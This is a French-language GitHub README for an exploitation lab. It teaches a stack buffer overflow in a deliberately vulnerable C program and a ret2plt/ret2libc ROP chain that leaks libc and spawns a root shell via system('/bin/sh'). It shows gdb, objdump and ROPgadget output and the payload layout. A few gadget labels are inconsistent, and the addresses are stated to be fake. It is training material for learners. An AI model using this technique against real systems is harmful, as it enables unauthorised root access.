Skip to content

pngouin/ROPtuto

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

ROP Tuto

Afin de commencer a travailler sur l'exercice vous allez avoir besoin de docker et de l'image docker pingouin/roptuto.

Pour commencer a travailler:

docker pull pingouin/roptuto
docker run -it pingouin/roptuto

Présentation

Nous avons le code C où nous avons laissé une faille béante.

#include <stdlib.h>
#include <stdio.h>

void input()
{
  char buffer[106];
  printf("Input: \n");
  scanf("%s",buffer);
}
int main(int argc, char **argv)
{
  input();
}

Dans la fonction input() la fonction scanf() ne vérifie pas si l'entrée de l'input est bien de 106 charactères. Ce qui expose notre programme à une BOF.

Dans le docker vous aurez un binaire à exploiter rop dans le répertoire /root/. Afin de faire cela vous aurez deux fichier python:

Qui seront à modifier avec différentes adresses mémoire que nous trouverons ensemble. Attention les adresses mémoires affichées dans ce tutoriel sont fausses et sont là à titre d'exemple ! La forme d'une adresse mémoire est 0x*******.

Analyse du binaire

Nous faisons face à un executable 32bits compilé grâce a la commande gcc rop.c -fno-stack-protector -no-pie -m32 -o rop. Dans la fonction input() le developpeur ne vérifie pas si la taille entrée par l'utilisateur n'excède pas 106 charactères. Pour exploiter cette faille, nous devons d'abord savoir quand nous prenons contrôle du flux d'execution. Pour cela nous envoyons une unique string dans notre programme et on regarde a quelle moment nous écrasons le registre EIP.

Pour cela nous pouvous trouver une unique string avec ce lien et lancer notre executable rop dans un debugger. Nous avons gdb sur notre machine utilisons le:

root@5859be6f9e32:~# gdb rop
gdb-peda$ run
Starting program: /root/rop 
warning: Error disabling address space randomization: Operation not permitted
Input: 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x33644132 ('2Ad3')
ECX: 0x1 
EDX: 0xf7f6c89c --> 0x0 
ESI: 0xf7f6b000 --> 0x1d9d6c 
EDI: 0xf7f6b000 --> 0x1d9d6c 
EBP: 0x41346441 ('Ad4A')
ESP: 0xffee2dd0 ("6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9")
EIP: 0x64413564 ('d5Ad')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x64413564
[------------------------------------stack-------------------------------------]
0000| 0xffee2dd0 ("6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9")
0004| 0xffee2dd4 ("Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9")
0008| 0xffee2dd8 ("d9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9")
0012| 0xffee2ddc ("0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9")
0016| 0xffee2de0 ("Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9")
0020| 0xffee2de4 ("e3Ae4Ae5Ae6Ae7Ae8Ae9")
0024| 0xffee2de8 ("4Ae5Ae6Ae7Ae8Ae9")
0028| 0xffee2dec ("Ae6Ae7Ae8Ae9")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x64413564 in ?? ()
EIP: 0x64413564 ('d5Ad')

La ligne qui nous intéresse est EIP: 0x64413564 ('d5Ad'). Sur le site où nous avons créé notre unique string nous pouvons calculer l'offset et trouver à partir de quel moment nous prenons contrôle du registre EIP.

offset

Nous avons donc un offset de 106.

ROP

Le ROP (return object programming) nous permet deux choses. Contourner la protection de pile non executable ainsi que la protection ASLR du système qui permet la répartition aléatoire des adresses mémoire à chaque lancement de l'éxécutable. La méthode du ROP que nous allons utiliser est la plus classique et se divise en 3 partie :

  • ret2plt qui permet de récupérer l'adresse de la libc (dont la base est aléatoire via l'ASLR)
  • ret2main qui permet de retourner au début du programme sans relancer l'executable et donc ne pas relancer l'ASLR.
  • ret2libc qui permet de lancer n'importe quelle fonction présente dans la libc (ici nous utiliseront system).

Mais du coup c'est quoi ret2XXX ?

ret2 est l'abréviation de return to.

plt est l'abréviation de Procedure Linkage Table qui est, en termes simples, on s'en sert pour appeler des procédures/fonctions externes dont l'adresse n'est pas connue au moment de la liaison, et est laissé à la résolution par l'éditeur de liens dynamique lors de l'exécution.

main est la fonction principale de notre exécutable c'est par elle que commence et fini notre exécutable.

libc est l'implémentation standard des fonction C comme strcopy ou system.

got signifie Global Offsets Table et est également utilisée pour résoudre les adresses.

Pour plus d'information sur la plt et la got ici.

Pour nous aider a contrôler notre programme nous allons utiliser des ROP Gadgets ce sont de petites séquences d'instructions se terminant par une instruction "ret" ("\xc3").

Dans un premier temps nous avons besoins de trouver les adresses mémoire de :

  • main
  • puts@plt
  • scanf

Avec objdump nous pouvons lister toutes les méthodes importées dans le binaire via la plt:

root@10b97ae13330:~# objdump -R rop

rop:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0884bffc R_386_GLOB_DAT    __gmon_start__
0884c00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0884c010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0884cf14 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

Nous avons l'adresse de la fonction scanf via la ligne

0884cf14 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

Nous pouvons avoir l'adresse de puts :

root@10b97ae13330:~# objdump -d rop | grep "<puts@plt>"
08849f30 <puts@plt>:
0884a08e:	e8 9d fe ff ff       	call   08849f30 <puts@plt>
08849f30 <puts@plt>:

Nous avons donc les adresses de :

  • puts@plt: 0x08849f30
  • __isoc99_scanf@GLIBC_2.7: 0x0884cf14

Puts nous permet d'écrire une string dans stdout et donc d'afficher la valeur une valeur de la libc afin de trouver la différence et donc d'utiliser n'importe quelle autre fonction de la libc dont system(). La fonction puts prend un argument en paramètre :

int puts(const char *str)

Afin de récupérer cet argument nous allons utiliser un ROP Gadget pour sortir notre argument de la stack. Grâce à un gadget de type pop ???; ret. Et pour cela nous allons utiliser ROPgadget:

root@10b97ae13330:~# ROPgadget --binary rop | grep pop
0x09849252 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0984922e : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0984910b : add esp, 8 ; pop ebx ; ret
0x098491b8 : inc dword ptr [ebx - 0x746fef3c] ; pop ebp ; cld ; leave ; ret
0x0984923c : jecxz 0x80491b9 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0984923b : jne 0x8049219 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0984901e : les ecx, ptr [eax] ; pop ebx ; ret
0x0984924e : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0984925f : mov bl, 0x2d ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0984923f : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x098491be : pop ebp ; cld ; leave ; ret
0x09849243 : pop ebp ; ret
0x09849240 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0984902e : pop ebx ; ret
0x09849242 : pop edi ; pop ebp ; ret
0x09849241 : pop esi ; pop edi ; pop ebp ; ret
0x09849026 : sal byte ptr [edx + eax - 1], 0xd0 ; add esp, 8 ; pop ebx ; ret
0x09849243 : pop ebp ; ret
0x0984902e : pop ebx ; ret

Nous avons donc deux choix:

  • 0x09849243 : pop ebp ; ret
  • 0x09849241 : pop ebx ; ret

Enfin nous devons trouver l'adresse du main de l'executable. Avec gdb nous pouvons avoir désassembler le main de notre programme:

root@5859be6f9e32:~# gdb rop
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x089491b1 <+0>:	push   ebp
   0x089491b3 <+1>:	mov    ebp,esp
   0x089491b5 <+3>:	and    esp,0xfffffff0
   0x089491b8 <+6>:	call   0x80491ce <__x86.get_pc_thunk.ax>
   0x089491bd <+11>:	add    eax,0x2e43
   0x089491c2 <+16>:	call   0x8049172 <input>
   0x089491c7 <+21>:	mov    eax,0x0
   0x089491cc <+26>:	leave  
   0x089491cd <+27>:	ret    
End of assembler dump.
0x089491b1 <+0>:	push   ebp

Nous avons donc l'adresse du main: 0x089491b1.

Pour récapituler nous avons :

  • main 0x089491b1
  • puts@plt 0x08849f30
  • __isoc99_scanf@GLIBC_2.7 0x0884cf14
  • Et des gadgets :
    • 0x09849243 pop ebp ; ret
    • 0x09849241 pop ebx ; ret

Notre premier payload va donc être : payload = addrPLTputs + addrPopEbxRet + addrGOTscanf + addrMain

Avec tout ça nous pouvons compléter part1.py Vous pouvez utiliser vim ou nano pour éditer le fichier.

Quand vous le lancez avec python part1.py vous devriez avoir une sortie qui ressemble à cela

root@9e139f0c7ef4:~# python part1.py 
[*] '/root/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './rop': pid 32
[*] Construct ropchain
[*] Get scanf leak
 
\x80���
Input:
[*] Stopped process './rop' (pid 32)

Si ce n'est pas le cas, c'est qu'une des adresses entrée dans le fichier python est invalide.

Création du shell

Maintenant que nous avons fait fuiter l'adresse mémoire de la fonction scanf de la libc nous devons trouver l'adresse de cette même fonction scanf mais dans la libc afin de calculer l'écart et avoir l'adresse de base de la libc afin d'appeller n'importe quelle autre fonction.S Afin de trouver ces adresses nous pouvons utiliser strings, objdump et/ou readelf.

Pour trouver l'adresse de scanf dans la libc:

root@566553ec2fbd:~# objdump -d /lib32/libc.so.6 | grep isoc99_scanf
00076480 <__isoc99_scanf@@GLIBC_2.7>:
   764a8:	75 3c                	jne    654e6 <__isoc99_scanf@@GLIBC_2.7+0x66>
   764b9:	74 27                	je     654e2 <__isoc99_scanf@@GLIBC_2.7+0x62>
   764c8:	74 01                	je     654cb <__isoc99_scanf@@GLIBC_2.7+0x4b>
   764ce:	74 07                	je     654d7 <__isoc99_scanf@@GLIBC_2.7+0x57>
   7650c:	75 27                	jne    65535 <__isoc99_scanf@@GLIBC_2.7+0xb5>
   76515:	75 1e                	jne    65535 <__isoc99_scanf@@GLIBC_2.7+0xb5>
   76526:	74 01                	je     65529 <__isoc99_scanf@@GLIBC_2.7+0xa9>
   7652c:	74 07                	je     65535 <__isoc99_scanf@@GLIBC_2.7+0xb5>

00076480 <__isoc99_scanf@@GLIBC_2.7>:

Pour trouver l'adresse de system dans la libc:

root@566553ec2fbd:~# readelf -s /lib32/libc.so.6 | grep system        
   257: 0012a2c0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   658: 000feae0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1525: 000feae0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
1525: 000feae0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

Pour trouver l'adresse de la string /bin/sh dans la libc:

root@566553ec2fbd:~# strings -a -t x /lib32/libc.so.6 | grep /bin/sh
 18ebbb /bin/sh

Nous avons donc:

  • __isoc99_scanf@GLIBC_2.7: 0x00076480
  • system@@GLIBC_2.0: 0x000feae0
  • /bin/sh: 0x0018ebbb

Pour trouver la base de la libc on fait la différence entre la fuite du scanf obtenue dans la première partie et l'adresse de scanf trouvée dans la libc. On peut ensuite ajouter à cette différence l'adresse de la fonction system ou l'adresse de la string “/bin/sh” afin d'y accéder avec notre payload.

La fonction system dans la libc prend un argument :

int system(const char *command);

Nous avons besoin d'utiliser l'adresse d'un des deux gadgets précédemment obtenu afin de donner à system() notre string /bin/sh.

A vous de modifier l'exploit part2 !

Lors de l'éxecution vous devriez obtenir un nouveau prompt, vous pourrez vérifier que vous avez réussi à passer root avec la command id.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published